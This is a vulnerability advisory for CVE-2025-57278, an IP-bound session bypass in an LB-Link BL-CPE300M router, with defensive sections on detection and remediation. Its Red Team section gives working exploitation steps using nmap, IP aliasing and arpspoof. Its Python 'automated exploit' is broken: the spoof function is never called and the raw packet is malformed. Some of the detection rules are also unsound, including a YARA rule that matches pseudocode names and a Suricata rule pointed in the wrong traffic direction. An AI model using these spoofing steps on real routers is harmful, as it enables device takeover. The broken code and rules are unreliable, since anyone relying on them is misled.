CVE-2025-57278

Executive Summary

CVE-2025-57278 exposes a critical authentication bypass vulnerability in the LB-Link BL-CPE300M AX300 4G LTE Router (firmware version BL-R8800_B10_ALK_SL_V01.01.02P42U14_06). The router fails to implement proper session management, relying solely on the source IP address for authentication. Once a legitimate user authenticates from a specific IP, any other client using that same IP gains full administrative access without credentials. This flaw allows an attacker to hijack an authenticated session simply by spoofing the victim's IP address, leading to complete compromise of the router's administrative interface. No patch is currently available from the vendor.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N) – no prior authentication needed.
• User Interaction: None (UI:N) – no victim action required.
• Scope: Unchanged (S:U) – vulnerability affects only the router.
• Confidentiality Impact: High (C:H) – full access to router configuration and data.
• Integrity Impact: High (I:H) – attacker can modify router settings.
• Availability Impact: High (A:H) – attacker can disrupt router operation.

Deep Dive & Mechanics

The vulnerability stems from the router's session management implementation. After a user authenticates (e.g., via the web admin panel), the router creates a session bound solely to the client's source IP address. No session tokens, cookies, or unique identifiers are generated. The router's access control logic checks only the source IP against a list of "authenticated" IPs. This means:

1. Authentication Flow: User A logs in from IP 192.168.1.100. The router marks 192.168.1.100 as authenticated.
2. Bypass Mechanism: Attacker configures their device to use IP 192.168.1.100 (via static IP assignment or ARP spoofing). The router sees the source IP as authenticated and grants full administrative access without requiring credentials.
3. Persistence: The session remains active until the authenticated user logs out or the router is rebooted. The attacker can maintain access indefinitely.

The root cause is the absence of any session identifier (e.g., a random token stored in a cookie or URL parameter). The router's code likely performs a simple check like if (source_ip in authenticated_ips) { grant_access(); } without verifying the client's identity.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

# Pseudocode representing the router's flawed session check
authenticated_ips = set()

def authenticate(username, password, client_ip):
    if verify_credentials(username, password):
        authenticated_ips.add(client_ip)
        return True
    return False

def check_access(client_ip):
    if client_ip in authenticated_ips:
        return True  # Grants full access based solely on IP
    return False

Patched Code (Conceptual):

# Pseudocode for a secure session implementation
import secrets

sessions = {}  # Maps session_id to user data

def authenticate(username, password, client_ip):
    if verify_credentials(username, password):
        session_id = secrets.token_hex(32)
        sessions[session_id] = {'username': username, 'ip': client_ip}
        return session_id
    return None

def check_access(session_id, client_ip):
    session = sessions.get(session_id)
    if session and session['ip'] == client_ip:
        return True  # Validates both session token and IP
    return False

The patched version introduces a random session token (e.g., a 256-bit hex string) stored in a cookie. Access is granted only if the token is valid and optionally bound to the original IP. This prevents IP spoofing attacks.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target router with firmware BL-R8800_B10_ALK_SL_V01.01.02P42U14_06.
• Attacker machine on the same network as the router (or able to spoof IP).
• A legitimate user must have authenticated from a known IP.

Exploitation Steps:

1. Identify Authenticated IP: Use network scanning (e.g., nmap -sn 192.168.1.0/24) to find active hosts. Alternatively, capture traffic to see which IP is communicating with the router's admin interface.

2. Spoof the IP: Configure your attacker machine to use the victim's IP address. On Linux:

   sudo ifconfig eth0:0 192.168.1.100 netmask 255.255.255.0 up
   

   Or use ARP spoofing to impersonate the victim:

   sudo arpspoof -i eth0 -t 192.168.1.1 192.168.1.100
   

3. Access Admin Panel: Open a browser and navigate to http://192.168.1.1 (or the router's IP). The router will see the source IP as authenticated and grant full access without prompting for credentials.

4. Maintain Access: Keep the spoofed IP active. The session persists until the victim logs out or the router reboots.

Automated Exploit (Python):

import requests
import socket
import struct

def spoof_ip(target_ip, router_ip):
    # Simple IP spoofing using raw sockets (requires root)
    s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
    s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
    # Craft packet with spoofed source IP
    packet = struct.pack('!BBHHHBBH4s4s', 0x45, 0, 40, 0, 0, 64, 6, 0, socket.inet_aton(target_ip), socket.inet_aton(router_ip))
    s.sendto(packet, (router_ip, 80))
    s.close()

# After spoofing, access the admin panel
response = requests.get('http://192.168.1.1', timeout=5)
print(response.text)  # Should show admin interface

Blue Team

Detection Steps:

1. Monitor for IP Spoofing: Enable DHCP snooping and IP source guard on the switch to prevent IP spoofing. Use arpwatch to detect ARP spoofing:

   sudo arpwatch -i eth0
   

2. Log Analysis: Check router logs for multiple admin sessions from the same IP or unusual login patterns. Example log entry:

   [2025-03-15 10:30:00] Admin login from 192.168.1.100
   [2025-03-15 10:31:00] Admin access from 192.168.1.100 (no login)
   

3. Network Traffic Analysis: Look for packets with inconsistent MAC-IP bindings (e.g., ARP replies with different MAC for the same IP).

4. Honeypot: Set up a fake admin interface that logs all access attempts. Any access without a prior login is suspicious.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Multiple admin sessions from the same IP address within a short time.
  • ARP replies with conflicting MAC addresses for the same IP.
  • Traffic from an IP that is normally associated with a different MAC (detected via DHCP snooping logs).

• Host IOCs:

  • Router configuration changes (e.g., new port forwards, DNS changes) without corresponding login events.
  • Unauthorized firmware updates or factory resets.

• Log IOCs:

  • Router logs showing admin access without a preceding login event.
  • Repeated failed login attempts followed by successful access from the same IP (indicating spoofing after a real login).

Detection Engineering

YARA Rule

rule CVE_2025_57278_AuthBypass {
    meta:
        description = "Detects LB-Link BL-CPE300M firmware with IP-based session handling"
        author = "Valters IT"
        date = "2025-03-15"
        cve = "CVE-2025-57278"
    strings:
        $s1 = "authenticated_ips" ascii wide
        $s2 = "check_access" ascii wide
        $s3 = "source_ip" ascii wide
    condition:
        all of them
}

Sigma Rule

title: CVE-2025-57278 Authentication Bypass via IP Spoofing
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects multiple admin sessions from the same IP without login events
logsource:
    category: application
    product: router
detection:
    selection:
        event: "Admin access"
        source_ip: 
            - "192.168.1.100"  # Replace with monitored IP
    condition: selection
    timeframe: 5m
falsepositives:
    - Legitimate multi-session usage (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET 80 (msg:"CVE-2025-57278 LB-Link Router Admin Access Without Login"; flow:to_server; content:"GET /"; http_uri; content:"/admin"; http_uri; nocase; pcre:"/^Host: [^\r\n]*\r\n/"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the Router: Place the router behind a firewall that enforces strict IP-MAC binding (e.g., using DHCP snooping and IP source guard).
2. Disable Remote Admin Access: If not required, disable WAN-side admin access. Restrict admin access to a dedicated management VLAN.
3. Monitor Logs: Enable logging and monitor for multiple admin sessions from the same IP.

Long-Term Fix:

• Vendor Patch: Contact LB-Link for a firmware update that implements proper session management (e.g., random session tokens, cookies). No patch is currently available.
• Replace Device: If no patch is forthcoming, replace the router with a model that supports secure session handling (e.g., using HTTPS and session cookies).

Workaround:

• Static ARP Entries: Manually configure static ARP entries on the router to prevent IP spoofing:

  arp -s 192.168.1.100 00:11:22:33:44:55
  

• VPN Access: Require VPN access to the management network, so admin traffic is tunneled and IP spoofing is ineffective.

Valters IT